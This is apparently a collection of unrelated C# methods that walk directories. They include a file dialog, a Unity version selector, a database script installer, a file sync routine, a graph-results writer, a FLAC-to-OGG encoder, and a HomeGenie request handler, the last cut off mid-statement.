/// <summary> /// Gets DataSource dataSet. /// </summary> /// <param name="fileSystemPath">File system path to obtain dataset for</param> /// <param name="searchText">Text to be searched</param> private DataSet GetDataSet(string fileSystemPath, string searchText) { DataSet ds = new DataSet(); DataTable dt = new DataTable(); // Defining table columns dt.Columns.Add(FileNameColumn, typeof(string)); dt.Columns.Add(FileExtensionColumn, typeof(string)); dt.Columns.Add(FileIdColumn, typeof(string)); dt.Columns.Add(FileSizeColumn, typeof(long)); dt.Columns.Add("filemodified", typeof(DateTime)); dt.Columns.Add("isfile", typeof(bool)); dt.Columns.Add("childscount", typeof(int)); if (!string.IsNullOrEmpty(fileSystemPath)) { try { // Get directory info if (Directory.Exists(fileSystemPath)) { DirectoryInfo di = DirectoryInfo.New(fileSystemPath); // Check if folders should be displayed if ((IsDisplayMore) || (Configuration.ShowFolders)) { // Get folders array and filter it DirectoryInfo[] folders = di.GetDirectories(); folders = Array.FindAll(folders, IsAllowedAndNotExcludedFolder); int childCount = 0; foreach (DirectoryInfo folder in folders) { if ((String.IsNullOrEmpty(searchText)) || (folder.Name.ToLowerCSafe().Contains(searchText.ToLowerCSafe()))) { try { // Set children number if (Configuration.ShowFolders) { childCount = folder.GetDirectories().Length; } else { childCount = folder.GetDirectories().Length; if (childCount == 0) { FileInfo[] files = folder.GetFiles(); // Check for alowed extensions if (!String.IsNullOrEmpty(Configuration.AllowedExtensions)) { files = Array.FindAll(files, IsAllowedExtension); } // Check for excluded extensions if (!String.IsNullOrEmpty(Configuration.ExcludedExtensions)) { files = Array.FindAll(files, IsNotExcludedExtension); } childCount = files.Length; } } } catch (UnauthorizedAccessException) { childCount = 0; } finally { dt.Rows.Add(folder.Name, string.Empty, folder.FullName, 0, folder.LastWriteTime, false, childCount); } } } } // Try to load files try { if (!Configuration.ShowFolders) { // Obtain list of files FileInfo[] files = di.GetFiles(); // Check for alowed extensions if (!String.IsNullOrEmpty(Configuration.AllowedExtensions)) { files = Array.FindAll(files, IsAllowedExtension); } // Check for excluded extensions if (!String.IsNullOrEmpty(Configuration.ExcludedExtensions)) { files = Array.FindAll(files, IsNotExcludedExtension); } // Add files item to table foreach (FileInfo file in files) { if ((String.IsNullOrEmpty(searchText)) || (Path.GetFileNameWithoutExtension(file.Name).ToLowerCSafe().Contains(searchText.ToLowerCSafe()))) { dt.Rows.Add(file.Name, file.Extension, file.FullName, file.Length, file.LastWriteTime, true, 0); } } } } catch (SecurityException se) { Service.Resolve <IEventLogService>().LogException("FileSystemDialog", "SECURITYEXCEPTION", se); } } } catch (Exception e) { Service.Resolve <IEventLogService>().LogException("FileSystemDialog", "FOLDERNOTACCESSIBLE", e); } } ds.Tables.Add(dt); return(ds); }
public void OnClickLastVersionButton() { try { var dirInfo = new DirectoryInfo(UnityFolderPath); DirectoryInfo lastVersionDir = null; var versionsDirectories = dirInfo.GetDirectories(); for (var i = 0; i < versionsDirectories.Length; i++) { var directory = versionsDirectories[i]; var nameArray = directory.Name.Split('.', 'a', 'b', 'f'); var year = int.Parse(nameArray[0]); var major = byte.Parse(nameArray[1]); var minor = byte.Parse(nameArray[2]); var patch = byte.Parse(nameArray[3]); if (i != 0 && year <= m_year && major <= m_majorVersion && minor <= m_minorVersion && patch < m_patch) { continue; } lastVersionDir = directory; m_year = year; m_majorVersion = major; m_minorVersion = minor; m_patch = patch; } var editorDir = lastVersionDir?.GetDirectories("Editor").FirstOrDefault(t => t.Name == "Editor"); var unityExe = editorDir?.GetFiles("Unity.exe").FirstOrDefault(f => f.Name == "Unity.exe"); if (unityExe == null) { return; } switch (m_year) { case 2019 when m_majorVersion >= 2: _versionDropdown.value = (int)Version.Equal_2019_2_3; break; case 2019 when m_majorVersion == 1: _versionDropdown.value = (int)Version.Equal_2019_1; break; case 2018 when m_majorVersion == 3: _versionDropdown.value = (int)Version.Equal_2018_3; break; default: { if (m_year <= 2018) { _versionDropdown.value = (int)Version.Lower_2018_3; } break; } } SetInputFieldValue(new[] { unityExe.FullName }); } catch (Exception ex) { Debug.LogException(ex); throw; } }
public void Create(Schema schema) { string errorMessage = string.Empty; try { if (schema == null || schema.Provider == null) { throw new ArgumentException("You must prepare the schema first.", "schema"); } schema = schema.Clone(); if (schema.Exists && (flags & RuntimeFlag.Drop) == RuntimeFlag.Drop) { SetProgress(StatusMessage.Start, "Dropping Database " + schema.Provider.Database); schema.Provider.DropDatabase(); SetProgress(StatusMessage.Complete, "Done."); if ((this.flags & RuntimeFlag.Verbose) == RuntimeFlag.Verbose) { SetProgress(StatusMessage.Progress, string.Empty, 50); } schema.Exists = false; } DirectoryInfo installScripts = new DirectoryInfo(Path.Combine(targetDir, "Install")); DirectoryInfo upgradeScripts = new DirectoryInfo(Path.Combine(targetDir, "Upgrade")); if (!schema.Exists || !upgradeScripts.Exists) { if ((flags & RuntimeFlag.Create) == RuntimeFlag.Create) { SetProgress(StatusMessage.Start, "Creating Database " + schema.Provider.Database); schema.Provider.CreateDatabase(); if ((this.flags & RuntimeFlag.Verbose) == RuntimeFlag.Verbose) { SetProgress(StatusMessage.Progress, string.Empty, 100); } SetProgress(StatusMessage.Complete, "Done."); } if (installScripts.Exists) { SetProgress(StatusMessage.Start, "Installing Database " + schema.Provider.Database); if ((this.flags & RuntimeFlag.Verbose) == RuntimeFlag.Verbose) { SetProgress(StatusMessage.Detail, string.Empty); } ExecuteScripts(schema, installScripts.GetFiles(Constants.PreInstallFilter, SearchOption.AllDirectories), true); ExecuteScripts(schema, installScripts.GetFiles(Constants.TableFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, installScripts.GetFiles(Constants.FunctionFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, installScripts.GetFiles(Constants.ViewFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, installScripts.GetFiles(Constants.StoredProcedureFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, installScripts.GetFiles(Constants.TriggerFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, installScripts.GetFiles(Constants.PostInstallFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, installScripts.GetFiles(Constants.ForeignKeyFilter, SearchOption.AllDirectories)); SetProgress(StatusMessage.Complete, "Done."); if (schema.ScriptsRun == 0) { SetProgress(StatusMessage.Complete, "WARNING: no scripts found. An empty database was created."); } } else { SetProgress(StatusMessage.Complete, "WARNING: missing Install directory. An empty database was created."); } schema.Provider.SetVersion(schema.Upgrade, WindowsIdentity.GetCurrent().Name + " on " + DateTime.Now); } else { DirectoryInfo[] candidates = new DirectoryInfo[] { }; if (upgradeScripts.Exists) { candidates = upgradeScripts.GetDirectories(); if (candidates.Length > 0) { if (schema.ScriptsTotal == 0) { SetProgress(StatusMessage.Complete, "WARNING: no new scripts found. Nothing to do."); } Array.Sort(candidates, new DirInfoSorter()); } else { SetProgress(StatusMessage.Complete, "WARNING: no version directories found. Nothing to do."); } } else { SetProgress(StatusMessage.Complete, "WARNING: missing Upgrade directory. Nothing to do."); } foreach (DirectoryInfo upgradeDir in candidates) { int comp = string.Compare(schema.Version, upgradeDir.Name, true); bool retry = (flags & RuntimeFlag.Retry) == RuntimeFlag.Retry; if ((!retry && comp < 0) || (retry && comp <= 0) || (string.Compare(schema.Version, Schema.RTM, true) == 0)) { SetProgress(StatusMessage.Start, "Upgrading Database to version " + upgradeDir.Name); if ((this.flags & RuntimeFlag.Verbose) == RuntimeFlag.Verbose) { SetProgress(StatusMessage.Detail, string.Empty); } ExecuteScripts(schema, upgradeDir.GetFiles(Constants.PreInstallFilter, SearchOption.AllDirectories), true); ExecuteScripts(schema, upgradeDir.GetFiles(Constants.TableFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, upgradeDir.GetFiles(Constants.FunctionFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, upgradeDir.GetFiles(Constants.ViewFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, upgradeDir.GetFiles(Constants.StoredProcedureFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, upgradeDir.GetFiles(Constants.TriggerFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, upgradeDir.GetFiles(Constants.PostInstallFilter, SearchOption.AllDirectories)); ExecuteScripts(schema, upgradeDir.GetFiles(Constants.ForeignKeyFilter, SearchOption.AllDirectories)); SetProgress(StatusMessage.Complete, "Done."); if (schema.Errors > 0) { break; } schema.Provider.SetVersion(upgradeDir.Name, WindowsIdentity.GetCurrent().Name + " on " + DateTime.Now); } } } } catch (Exception ex) { schema.Errors++; SetProgress(StatusMessage.Complete, "Error."); errorMessage = ex.InnerException != null ? ex.InnerException.Message : ex.Message; SetProgress(StatusMessage.Detail, errorMessage); } finally { SetProgress(StatusMessage.Exit, errorMessage, schema.Errors); } }
/// <summary> /// 检查文件,若是文件夹则递归调用之 /// </summary> /// <param name="path">远程地址</param> /// <param name="strdir">本地地址</param> private void ListDirectory(string path, string strdir) { DirectoryInfo theFolder = new DirectoryInfo(path); //遍历文件 foreach (FileInfo NextFile in theFolder.GetFiles()) { if (CheckExtension(NextFile.Extension)) { //检查文件是否在要解析的范围内 FileInfo flocinfo = new FileInfo(strdir + @"\" + NextFile.Name); if (!File.Exists(strdir + @"\" + NextFile.Name) || flocinfo.Length != NextFile.Length) //不在本地或者长度不对 { log.Info("下载路径:" + path + "文件名" + NextFile.Name); Transport(NextFile.FullName, strdir + @"\", NextFile.Name); //调用传输函数 } else { continue; } } else { //不在解析范围内就新建同名文件保存文件长度信息 if (File.Exists(strdir + @"\" + NextFile.Name + @".rntf")) { //检查本地是否有同名文件,若有 StreamReader sr = new StreamReader(strdir + @"\" + NextFile.Name + @".rntf", Encoding.Default); string line = sr.ReadLine().ToString(); if (NextFile.Length == long.Parse(line)) { //检查一致 continue; } else { //若大小不一致,重新保存 sr.Close(); FileStream fs = new FileStream(strdir + @"\" + NextFile.Name + @".rntf", FileMode.Open, FileAccess.Write); //清空文件!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! fs.SetLength(0); StreamWriter sw = new StreamWriter(fs, Encoding.Default); string writeString = NextFile.Length.ToString(); sw.WriteLine(writeString); sw.Close(); //关闭文件 log.Info("更新文件" + strdir + @"\" + NextFile.Name + ".rntf"); QShareUpdate.Enqueue(strdir + @"\" + NextFile.Name + ".rntf"); //加入更新队列 } } else { //若本地没有,则新建文件并写入相关信息 FileStream fs = new FileStream(strdir + @"\" + NextFile.Name + ".rntf", FileMode.OpenOrCreate, FileAccess.ReadWrite); StreamWriter sw = new StreamWriter(fs); sw.WriteLine(NextFile.Length.ToString()); sw.Close(); //关闭文件 log.Info("新增文件" + strdir + @"\" + NextFile.Name + ".rntf"); QShareAdd.Enqueue(strdir + @"\" + NextFile.Name + ".rntf"); //加入新增队列 } } } //遍历文件夹 foreach (DirectoryInfo NextFolder in theFolder.GetDirectories()) { string strtmp = strdir + @"\" + NextFolder.Name; if (Directory.Exists(strtmp) == false)//如果不存在就创建file文件夹 { Directory.CreateDirectory(strtmp); } ListDirectory(NextFolder.FullName, strtmp); //递归检查文件夹 } }
public static void Main(string[] args) { var log = LogManager.GetLogger(MethodBase.GetCurrentMethod().Name); if (!Directory.Exists(InputDirectory)) { log.Warn("Папки с данными не существует. Завершение работы приложения."); Console.ReadKey(true); return; } while (!Parallel.ForEach(Directory.GetFiles(InputDirectory), AnalyzeFile).IsCompleted) { } try { if (Directory.Exists(OutputRootDirectory)) { var rootOutput = new DirectoryInfo(OutputRootDirectory); rootOutput.Empty(); rootOutput.Delete(true); } var directoryInfo = Directory.CreateDirectory(OutputRootDirectory); foreach (var sOneGraph in SOneGraphs) { DirectoryInfo sub = null; var gradeRootDirectory = $"grade {sOneGraph.Key.ToString()}"; if (directoryInfo.GetDirectories().Any(x => x.Name.Equals(gradeRootDirectory))) { sub = directoryInfo.GetDirectories().First(x => x.Name.Equals(gradeRootDirectory)); } else { sub = directoryInfo.CreateSubdirectory(gradeRootDirectory); } var a = 2; var lastSub = $"C(n; 1, {string.Join(", ", sOneGraph.Value.First().Value.Generators.Skip(1).Select(x => $"s{a++}"))})"; if (!sub?.GetDirectories().Any(x => x.Name.Equals(lastSub)) ?? false) { sub = sub.CreateSubdirectory(lastSub); } if (sub == null) { throw new Exception($"Не удалось создать папку: {gradeRootDirectory}"); } var groupsByNodeCount = sOneGraph.Value.GroupBy(x => x.Value.NodesCount).ToList(); groupsByNodeCount.Sort((first, second) => first.Key - second.Key); var minNodes = groupsByNodeCount.Min(x => x.Key); var maxNodes = groupsByNodeCount.Max(x => x.Key); foreach (var group in groupsByNodeCount) { File.AppendAllLines(Path.Combine(sub.FullName, $"all_ring_gr{sOneGraph.Key}_n{minNodes}-{maxNodes}.csv"), new[] { group.First().Value.ToString() }); a = 1; var sort = group.ToList(); sort.Sort((first, second) => { for (int i = 0; i < first.Value.Generators.Length; i++) { if (first.Value.Generators[i] > second.Value.Generators[i] || first.Value.Generators[i] < second.Value.Generators[i]) { return(first.Value.Generators[i] - second.Value.Generators[i]); } } return(0); }); File.AppendAllLines(Path.Combine(sub.FullName, $"C({group.First().Value.NodesCount}; {string.Join(", ", sOneGraph.Value.First().Value.Generators.Select(x => $"s{a++}")).Substring(1)}).csv"), sort.Select(x => x.Value.ToString())); } } foreach (var optimalGraph in OptimalGraphs) { DirectoryInfo sub = null; var gradeRootDirectory = $"grade {optimalGraph.Key.ToString()}"; if (directoryInfo.GetDirectories().Any(x => x.Name.Equals(gradeRootDirectory))) { sub = directoryInfo.GetDirectories().First(x => x.Name.Equals(gradeRootDirectory)); } else { sub = directoryInfo.CreateSubdirectory(gradeRootDirectory); } var a = 1; var lastSub = $"C(n; {string.Join(", ", optimalGraph.Value.First().Value.Generators.Select(x => $"s{a++}"))})"; if (!sub?.GetDirectories().Any(x => x.Name.Equals(lastSub)) ?? false) { sub = sub.CreateSubdirectory(lastSub); } else { sub = directoryInfo.GetDirectories().First(x => x.Name.Equals(lastSub)); } if (sub == null) { throw new Exception($"Не удалось создать папку: {gradeRootDirectory}"); } var groupsByNodeCount = optimalGraph.Value.GroupBy(x => x.Value.NodesCount).ToList(); groupsByNodeCount.Sort((pairs, grouping) => pairs.Key - grouping.Key); var minNodes = groupsByNodeCount.Min(x => x.Key); var maxNodes = groupsByNodeCount.Max(x => x.Key); foreach (var group in groupsByNodeCount) { var minDiam = group.Min(x => x.Value.Diameter); var filteredGroup = group.Where(x => x.Value.Diameter <= minDiam).ToList(); var minAvg = filteredGroup.Min(x => x.Value.AverageLength); filteredGroup = filteredGroup.Where(x => x.Value.AverageLength <= minAvg).ToList(); filteredGroup.Sort((first, second) => { for (int i = 0; i < first.Value.Generators.Length; i++) { if (first.Value.Generators[i] > second.Value.Generators[i] || first.Value.Generators[i] < second.Value.Generators[i]) { return(first.Value.Generators[i] - second.Value.Generators[i]); } } return(0); }); File.AppendAllLines(Path.Combine(sub.FullName, $"all_optCirc_gr{optimalGraph.Key}_n{minNodes}-{maxNodes}.csv"), new[] { filteredGroup.First().Value.ToString() }); a = 1; File.AppendAllLines(Path.Combine(sub.FullName, $"C({group.First().Value.NodesCount}; {string.Join(", ", filteredGroup.First().Value.Generators.Select(x => $"s{a++}"))}).csv"), filteredGroup.Select(x => x.Value.ToString())); } } // grade 2 if (DdGraphs != null && DdGraphs.Any()) { DirectoryInfo sub = null; var gradeRootDirectory = "grade 2"; sub = directoryInfo.GetDirectories().Any(x => x.Name.Equals(gradeRootDirectory)) ? directoryInfo.GetDirectories().First(x => x.Name.Equals(gradeRootDirectory)) : directoryInfo.CreateSubdirectory(gradeRootDirectory); var lastSub = $"C(n; D, D-1)"; if (!sub?.GetDirectories().Any(x => x.Name.Equals(lastSub)) ?? false) { sub = sub.CreateSubdirectory(lastSub); } else { sub = directoryInfo.GetDirectories().First(x => x.Name.Equals(lastSub)); } if (sub == null) { throw new Exception($"Не удалось создать папку: {gradeRootDirectory}"); } var groupsByNodeCount = DdGraphs.GroupBy(x => x.Value.NodesCount).ToList(); groupsByNodeCount.Sort((pairs, grouping) => pairs.Key - grouping.Key); var minNodes = groupsByNodeCount.Min(x => x.Key); var maxNodes = groupsByNodeCount.Max(x => x.Key); foreach (var group in groupsByNodeCount) { var minDiam = group.Min(x => x.Value.Diameter); var filteredGroup = group.Where(x => x.Value.Diameter <= minDiam).ToList(); var minAvg = filteredGroup.Min(x => x.Value.AverageLength); filteredGroup = filteredGroup.Where(x => x.Value.AverageLength <= minAvg).ToList(); filteredGroup.Sort((first, second) => { for (int i = 0; i < first.Value.Generators.Length; i++) { if (first.Value.Generators[i] > second.Value.Generators[i] || first.Value.Generators[i] < second.Value.Generators[i]) { return(first.Value.Generators[i] - second.Value.Generators[i]); } } return(0); }); File.AppendAllLines(Path.Combine(sub.FullName, $"all_optCirc_gr{2}_n{minNodes}-{maxNodes}.csv"), new[] { group.First().Value.ToString() }); } } } catch (Exception ex) { log.Error("Не удалось удалить папку с предыдущими результатами. Отмена операции.", ex); Console.ReadKey(true); return; } Console.ReadKey(true); }
public Schema Prepare(ProviderType providerType, string connectionString, string database) { if (connectionString == null || connectionString.Length == 0 || database == null || database.Length == 0) { throw new ArgumentException("Missing a required parameter."); } Schema schema = null; switch (providerType) { case ProviderType.PostGres: schema = new Schema(new PostGresProvider()); break; case ProviderType.Oracle: schema = new Schema(new OracleProvider()); break; case ProviderType.SqlServer: default: schema = new Schema(new SqlProvider()); break; } schema.Provider.ConnectionString = connectionString; schema.Provider.Database = database; schema.Exists = schema.Provider.Exists(); if (!Directory.Exists(targetDir)) { throw new ArgumentException("Script directory missing: " + targetDir); } DirectoryInfo installScripts = new DirectoryInfo(Path.Combine(targetDir, "Install")); DirectoryInfo upgradeScripts = new DirectoryInfo(Path.Combine(targetDir, "Upgrade")); DirectoryInfo[] candidates = null; if (upgradeScripts.Exists) { candidates = upgradeScripts.GetDirectories(); if (candidates.Length > 0) { Array.Sort(candidates, new DirInfoSorter()); schema.Upgrade = candidates[candidates.Length - 1].Name; foreach (DirectoryInfo di in candidates) { if (string.Compare(di.Name, Schema.RTM, true) == 0) { throw new ArgumentException("You cannot have an Upgrade directory with the reserved name: " + Schema.RTM); } } } } if (schema.Exists && (flags & RuntimeFlag.Drop) != RuntimeFlag.Drop) { string[] version = schema.Provider.GetVersion().Split(new char[] { ';' }, StringSplitOptions.RemoveEmptyEntries); if (version.Length == 2) { schema.Version = version[0]; schema.UpgradeBy = version[1]; } if (upgradeScripts.Exists) { if (candidates != null) { foreach (DirectoryInfo di in candidates) { int comp = string.Compare(schema.Version, di.Name, true); bool retry = (flags & RuntimeFlag.Retry) == RuntimeFlag.Retry; if ((!retry && comp < 0) || (retry && comp <= 0) || (string.Compare(schema.Version, Schema.RTM, true) == 0)) { schema.ScriptsTotal += di.GetFiles("*.sql", SearchOption.AllDirectories).Length; } } } } else if (installScripts.Exists) { schema.ScriptsTotal = installScripts.GetFiles("*.sql", SearchOption.AllDirectories).Length; } } else if (installScripts.Exists) { schema.ScriptsTotal = installScripts.GetFiles("*.sql", SearchOption.AllDirectories).Length; } return(schema); }
static void HandleDirectory(DirectoryInfo indir, DirectoryInfo outdir) { foreach (DirectoryInfo subdir in indir.GetDirectories()) { //if (!subdir.Name.StartsWith("0-")) { HandleDirectory(subdir, outdir); } } foreach (FileInfo fi in indir.GetFiles("*.flac")) { string fullname = fi.FullName; if (fullname.Length > 260) { Console.WriteLine("Filename too long: " + fullname); continue; } File f = File.Create(fi.FullName); if (string.IsNullOrEmpty(f.Tag.Album)) { continue; } string ogAlbum = f.Tag.Album; string ogTitle = f.Tag.Title; string album = ogAlbum.Replace(':', '\uFF1A').Replace('\"', '\uFF02').Replace('/', '\uFF0F').Replace('?', '\uFF1F').Replace('|', '\uFF5C').Replace('/', '\uFF0F').Trim(); string title = ogTitle.Replace(':', '\uFF1A').Replace('\"', '\uFF02').Replace('/', '\uFF0F').Replace('?', '\uFF1F').Replace('|', '\uFF5C').Replace('/', '\uFF0F').Trim(); uint disc = f.Tag.Disc; uint trackNo = f.Tag.Track; if (album.StartsWith(".")) { album = album.Replace('.', '.'); } DirectoryInfo albumOutDir = new DirectoryInfo(Path.Combine(outdir.FullName, album + pathSeperator)); EnsureDirectoryExists(albumOutDir); FileInfo coverOutFileInfo = new FileInfo(Path.Combine(albumOutDir.FullName, "folder.jpg")); if (!coverOutFileInfo.Exists) { var pictures = f.Tag.Pictures; if (pictures.Length > 0) { Console.WriteLine("Writing album art for: {0}", album); var picture = pictures[0]; MemoryStream ms = new MemoryStream(picture.Data.Data); Bitmap bmp = new Bitmap(ms); bmp.Save(coverOutFileInfo.FullName, ImageFormat.Jpeg); bmp.Dispose(); ms.Dispose(); } } f.Dispose(); string outFileName = string.Format("{0}{1}{2:00} {3}.ogg", albumOutDir, disc != 0 ? disc.ToString() + "." : "", trackNo, title); outFileName = outFileName.Replace('\"', '\uFF02'); outFileName = outFileName.Replace('?', '\uFF1F'); outFileName = outFileName.Replace('<', '\uFF1C'); outFileName = outFileName.Replace('>', '\uFF1E'); outFileName = outFileName.Replace('*', '\uFF0A'); FileInfo outFileInfo = new FileInfo(outFileName); if (!outFileInfo.Exists) { if (!outFileInfo.Directory.Exists) { EnsureDirectoryExists(outFileInfo.Directory); } string oggencSwitches = null; string oggencSwitchesFilename = Path.Combine(indir.FullName, "oggenc2.conf"); if (System.IO.File.Exists(oggencSwitchesFilename)) { oggencSwitches = System.IO.File.ReadAllText(oggencSwitchesFilename); } Console.WriteLine("Encoding:" + outFileInfo.Name); Process p = new Process(); while (outFileName.Length > 255) { outFileName = title.Substring(0, title.Length - 1); outFileName = string.Format("{0}{1}{2:00} {3}.ogg", albumOutDir, disc != 0 ? disc.ToString() + "." : "", trackNo, title); } p.StartInfo.Arguments = string.Format("{2} \"{0}\" -o \"{1}\"", fi.FullName, outFileName, oggencSwitches); p.StartInfo.FileName = encoder; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); p.WaitForExit(); outFileInfo.Refresh(); if (!outFileInfo.Exists) { title = string.Format("Track {0}", trackNo); outFileName = string.Format("{0}{1}{2:00} {3}.ogg", albumOutDir, disc != 0 ? disc.ToString() + "." : "", trackNo, title); if (!new FileInfo(outFileName).Exists) { p.StartInfo.Arguments = string.Format("{2} \"{0}\" -o \"{1}\"", fi.FullName, outFileName, oggencSwitches); p.Start(); p.WaitForExit(); } } } else { Console.WriteLine("Skipping:" + outFileInfo.Name); } } }
public void ProcessRequest(MIGClientRequest request, MIGInterfaceCommand migCommand) { switch (migCommand.Command) { case "Interfaces.List": migCommand.Response = "[ "; foreach (var kv in homegenie.Interfaces) { var migInterface = kv.Value; var ifaceConfig = homegenie.SystemConfiguration.MIGService.GetInterface(migInterface.Domain); if (ifaceConfig == null || !ifaceConfig.IsEnabled) { continue; } migCommand.Response += "{ \"Domain\" : \"" + migInterface.Domain + "\", \"IsConnected\" : \"" + migInterface.IsConnected + "\" },"; } if (homegenie.UpdateChecker != null && homegenie.UpdateChecker.IsUpdateAvailable) { migCommand.Response += "{ \"Domain\" : \"HomeGenie.UpdateChecker\", \"IsConnected\" : \"True\" }"; migCommand.Response += " ]"; } else { migCommand.Response = migCommand.Response.Substring(0, migCommand.Response.Length - 1) + " ]"; } // break; //TODO: should this be moved somewhere to MIG? case "Interfaces.Configure": switch (migCommand.GetOption(0)) { case "Hardware.SerialPorts": if (Environment.OSVersion.Platform == PlatformID.Unix) { var serialPorts = System.IO.Ports.SerialPort.GetPortNames(); var portList = new List <string>(); for (int p = serialPorts.Length - 1; p >= 0; p--) { if (serialPorts[p].Contains("/ttyS") || serialPorts[p].Contains("/ttyUSB")) { portList.Add(serialPorts[p]); } } if (Raspberry.Board.Current.IsRaspberryPi && !portList.Contains("/dev/ttyAMA0")) { portList.Add("/dev/ttyAMA0"); } migCommand.Response = JsonHelper.GetSimpleResponse(JsonConvert.SerializeObject(portList)); } else { var portNames = System.IO.Ports.SerialPort.GetPortNames(); migCommand.Response = JsonHelper.GetSimpleResponse(JsonConvert.SerializeObject(portNames)); } break; } break; case "System.Configure": if (migCommand.GetOption(0) == "Service.Restart") { Program.Quit(true); migCommand.Response = JsonHelper.GetSimpleResponse("OK"); } else if (migCommand.GetOption(0) == "UpdateManager.UpdatesList") { migCommand.Response = JsonConvert.SerializeObject(homegenie.UpdateChecker.RemoteUpdates); } else if (migCommand.GetOption(0) == "UpdateManager.Check") { homegenie.UpdateChecker.Check(); migCommand.Response = JsonHelper.GetSimpleResponse("OK"); } else if (migCommand.GetOption(0) == "UpdateManager.DownloadUpdate") { var resultMessage = "ERROR"; bool success = homegenie.UpdateChecker.DownloadUpdateFiles(); if (success) { if (homegenie.UpdateChecker.IsRestartRequired) { resultMessage = "RESTART"; } else { resultMessage = "OK"; } } migCommand.Response = JsonHelper.GetSimpleResponse(resultMessage); } else if (migCommand.GetOption(0) == "UpdateManager.InstallUpdate") //UpdateManager.InstallProgramsCommit") { string resultMessage = "OK"; if (!homegenie.UpdateChecker.InstallFiles()) { resultMessage = "ERROR"; } else { if (homegenie.UpdateChecker.IsRestartRequired) { resultMessage = "RESTART"; Utility.RunAsyncTask(() => { Thread.Sleep(2000); Program.Quit(true); }); } else { homegenie.LoadConfiguration(); homegenie.MigService.ClearWebCache(); homegenie.UpdateChecker.Check(); } } migCommand.Response = JsonHelper.GetSimpleResponse(resultMessage); } else if (migCommand.GetOption(0) == "HttpService.SetWebCacheEnabled") { if (migCommand.GetOption(1) == "1") { homegenie.MigService.IsWebCacheEnabled = true; homegenie.SystemConfiguration.MIGService.EnableWebCache = "true"; } else { homegenie.MigService.IsWebCacheEnabled = false; homegenie.SystemConfiguration.MIGService.EnableWebCache = "false"; } homegenie.SystemConfiguration.Update(); migCommand.Response = JsonHelper.GetSimpleResponse("OK"); } else if (migCommand.GetOption(0) == "HttpService.GetWebCacheEnabled") { migCommand.Response = JsonHelper.GetSimpleResponse(homegenie.MigService.IsWebCacheEnabled ? "1" : "0"); } else if (migCommand.GetOption(0) == "HttpService.GetPort") { migCommand.Response = JsonHelper.GetSimpleResponse(homegenie.SystemConfiguration.HomeGenie.ServicePort.ToString()); } else if (migCommand.GetOption(0) == "HttpService.SetPort") { try { homegenie.SystemConfiguration.HomeGenie.ServicePort = int.Parse(migCommand.GetOption(1)); homegenie.SystemConfiguration.Update(); } catch { } } else if (migCommand.GetOption(0) == "SystemLogging.DownloadCsv") { string csvlog = ""; string logpath = Path.Combine("log", "homegenie.log"); if (migCommand.GetOption(1) == "1") { logpath = Path.Combine("log", "homegenie.log.bak"); } if (File.Exists(logpath)) { using (var fs = new FileStream(logpath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) using (var sr = new StreamReader(fs, Encoding.Default)) { csvlog = sr.ReadToEnd(); } } (request.Context as HttpListenerContext).Response.AddHeader( "Content-Disposition", "attachment;filename=homegenie_log_" + migCommand.GetOption(1) + ".csv" ); migCommand.Response = csvlog; } else if (migCommand.GetOption(0) == "SystemLogging.Enable") { SystemLogger.Instance.OpenLog(); homegenie.SystemConfiguration.HomeGenie.EnableLogFile = "true"; homegenie.SystemConfiguration.Update(); } else if (migCommand.GetOption(0) == "SystemLogging.Disable") { SystemLogger.Instance.CloseLog(); homegenie.SystemConfiguration.HomeGenie.EnableLogFile = "false"; homegenie.SystemConfiguration.Update(); } else if (migCommand.GetOption(0) == "SystemLogging.IsEnabled") { migCommand.Response = JsonHelper.GetSimpleResponse((homegenie.SystemConfiguration.HomeGenie.EnableLogFile.ToLower().Equals("true") ? "1" : "0")); } else if (migCommand.GetOption(0) == "Security.SetPassword") { // password only for now, with fixed user login 'admin' string pass = migCommand.GetOption(1) == "" ? "" : MIG.Utility.Encryption.SHA1.GenerateHashString(migCommand.GetOption(1)); homegenie.MigService.SetWebServicePassword(pass); homegenie.SystemConfiguration.HomeGenie.UserPassword = pass; // regenerate encrypted files homegenie.SystemConfiguration.Update(); homegenie.UpdateModulesDatabase(); } else if (migCommand.GetOption(0) == "Security.ClearPassword") { homegenie.MigService.SetWebServicePassword(""); homegenie.SystemConfiguration.HomeGenie.UserPassword = ""; // regenerate encrypted files homegenie.SystemConfiguration.Update(); homegenie.UpdateModulesDatabase(); } else if (migCommand.GetOption(0) == "Security.HasPassword") { migCommand.Response = JsonHelper.GetSimpleResponse((homegenie.SystemConfiguration.HomeGenie.UserPassword != "" ? "1" : "0")); } else if (migCommand.GetOption(0) == "System.ConfigurationRestore") { // file uploaded by user string archivename = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "homegenie_restore_config.zip"); if (!Directory.Exists("tmp")) { Directory.CreateDirectory("tmp"); } try { var downloadedMessageInfo = new DirectoryInfo("tmp"); foreach (var file in downloadedMessageInfo.GetFiles()) { file.Delete(); } foreach (DirectoryInfo directory in downloadedMessageInfo.GetDirectories()) { directory.Delete(true); } } catch { } // try { var encoding = (request.Context as HttpListenerContext).Request.ContentEncoding; string boundary = MIG.Gateways.WebServiceUtility.GetBoundary((request.Context as HttpListenerContext).Request.ContentType); MIG.Gateways.WebServiceUtility.SaveFile(encoding, boundary, request.InputStream, archivename); homegenie.UnarchiveConfiguration(archivename, Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp")); File.Delete(archivename); } catch { } } else if (migCommand.GetOption(0) == "System.ConfigurationRestoreS1") { var serializer = new XmlSerializer(typeof(List <ProgramBlock>)); var reader = new StreamReader(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "tmp", "programs.xml")); var newProgramsData = (List <ProgramBlock>)serializer.Deserialize(reader); reader.Close(); var newProgramList = new List <ProgramBlock>(); foreach (ProgramBlock program in newProgramsData) { if (program.Address >= ProgramEngine.USER_SPACE_PROGRAMS_START) { ProgramBlock p = new 